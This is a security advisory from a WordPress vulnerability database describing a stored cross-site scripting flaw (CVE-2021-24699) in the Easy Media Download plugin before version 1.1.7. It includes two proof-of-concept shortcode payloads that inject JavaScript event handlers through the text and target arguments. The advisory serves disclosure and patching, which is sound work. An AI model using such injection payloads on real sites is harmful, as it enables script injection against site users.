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Easy Media Download < 1.1.7 - Contributor+ Stored Cross-Site Scripting

Description

The plugin does not escape the text argument of its shortcode, which could allow users with a role as low as Contributor to perform Stored Cross-Site Scripting attacks.

Proof of Concept

Affected argument: url, text, target, rel and class

[easy_media_download url="/" text='" onerror="alert(/XSS/)//http']
[easy_media_download url="/" text="a" target='"autofocus onfocus=alert(/XSS/)//'] 

Affects Plugins

easy-media-download
Fixed in version 1.1.7

References

CVE
CVE-2021-24699

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

apple502j

Submitter

apple502j

Verified

Yes

WPVDB ID
4f5c3f75-0501-4a1a-95ea-cbfd3fc96852

Timeline

Publicly Published

2021-09-22 (about 1 years ago)

Added

2021-09-22 (about 1 years ago)

Last Updated

2023-02-03 (about 3 months ago)

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